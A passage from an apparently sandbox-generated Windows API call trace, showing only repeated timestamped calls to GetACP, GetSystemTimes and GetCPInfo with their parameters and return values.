GetACP () returned 0x4e4 [0054.994] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.994] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.994] GetACP () returned 0x4e4 [0054.994] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.994] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.994] GetACP () returned 0x4e4 [0054.994] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.994] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.994] GetACP () returned 0x4e4 [0054.994] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.994] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.994] GetACP () returned 0x4e4 [0054.994] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.994] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.994] GetACP () returned 0x4e4 [0054.994] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.994] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.994] GetACP () returned 0x4e4 [0054.995] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.995] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.995] GetACP () returned 0x4e4 [0054.995] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.995] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.995] GetACP () returned 0x4e4 [0054.995] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.995] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.995] GetACP () returned 0x4e4 [0054.995] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.995] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.995] GetACP () returned 0x4e4 [0054.995] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.995] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.995] GetACP () returned 0x4e4 [0054.995] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.995] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.995] GetACP () returned 0x4e4 [0054.995] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.995] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.995] GetACP () returned 0x4e4 [0054.995] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.995] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.995] GetACP () returned 0x4e4 [0054.995] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.995] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.995] GetACP () returned 0x4e4 [0054.995] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.996] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.996] GetACP () returned 0x4e4 [0054.996] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.996] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.996] GetACP () returned 0x4e4 [0054.996] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.996] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.996] GetACP () returned 0x4e4 [0054.996] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.996] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.996] GetACP () returned 0x4e4 [0054.996] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.996] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.996] GetACP () returned 0x4e4 [0054.996] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.996] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.996] GetACP () returned 0x4e4 [0054.996] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.996] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.996] GetACP () returned 0x4e4 [0054.996] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.996] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.996] GetACP () returned 0x4e4 [0054.996] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.996] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.996] GetACP () returned 0x4e4 [0054.996] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.997] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.997] GetACP () returned 0x4e4 [0054.997] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.997] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.997] GetACP () returned 0x4e4 [0054.997] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.997] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.997] GetACP () returned 0x4e4 [0054.997] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.997] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.997] GetACP () returned 0x4e4 [0054.997] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.997] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.044] GetACP () returned 0x4e4 [0055.044] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.044] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.044] GetACP () returned 0x4e4 [0055.044] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.044] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.045] GetACP () returned 0x4e4 [0055.045] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.045] GetACP () returned 0x4e4 [0055.045] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.045] GetACP () returned 0x4e4 [0055.045] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.045] GetACP () returned 0x4e4 [0055.045] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.045] GetACP () returned 0x4e4 [0055.045] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.045] GetACP () returned 0x4e4 [0055.045] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.045] GetACP () returned 0x4e4 [0055.045] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.045] GetACP () returned 0x4e4 [0055.045] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.045] GetACP () returned 0x4e4 [0055.045] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.046] GetACP () returned 0x4e4 [0055.046] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.046] GetACP () returned 0x4e4 [0055.046] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.046] GetACP () returned 0x4e4 [0055.046] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.046] GetACP () returned 0x4e4 [0055.046] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.046] GetACP () returned 0x4e4 [0055.046] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.046] GetACP () returned 0x4e4 [0055.046] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.046] GetACP () returned 0x4e4 [0055.046] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.046] GetACP () returned 0x4e4 [0055.046] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.046] GetACP () returned 0x4e4 [0055.046] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.046] GetACP () returned 0x4e4 [0055.047] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.047] GetACP () returned 0x4e4 [0055.047] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.047] GetACP () returned 0x4e4 [0055.047] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.047] GetACP () returned 0x4e4 [0055.047] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.047] GetACP () returned 0x4e4 [0055.047] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.047] GetACP () returned 0x4e4 [0055.047] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.047] GetACP () returned 0x4e4 [0055.047] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.047] GetACP () returned 0x4e4 [0055.047] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.047] GetACP () returned 0x4e4 [0055.047] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.047] GetACP () returned 0x4e4 [0055.047] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.048] GetACP () returned 0x4e4 [0055.048] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.048] GetACP () returned 0x4e4 [0055.048] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.048] GetACP () returned 0x4e4 [0055.048] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.048] GetACP () returned 0x4e4 [0055.048] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.048] GetACP () returned 0x4e4 [0055.048] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.048] GetACP () returned 0x4e4 [0055.048] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.048] GetACP () returned 0x4e4 [0055.048] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.048] GetACP () returned 0x4e4 [0055.048] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.048] GetACP () returned 0x4e4 [0055.048] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.048] GetACP () returned 0x4e4 [0055.048] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.049] GetACP () returned 0x4e4 [0055.049] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.049] GetACP () returned 0x4e4 [0055.049] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.049] GetACP () returned 0x4e4 [0055.049] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.049] GetACP () returned 0x4e4 [0055.049] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.049] GetACP () returned 0x4e4 [0055.049] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.049] GetACP () returned 0x4e4 [0055.049] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.049] GetACP () returned 0x4e4 [0055.049] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.049] GetACP () returned 0x4e4 [0055.049] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, 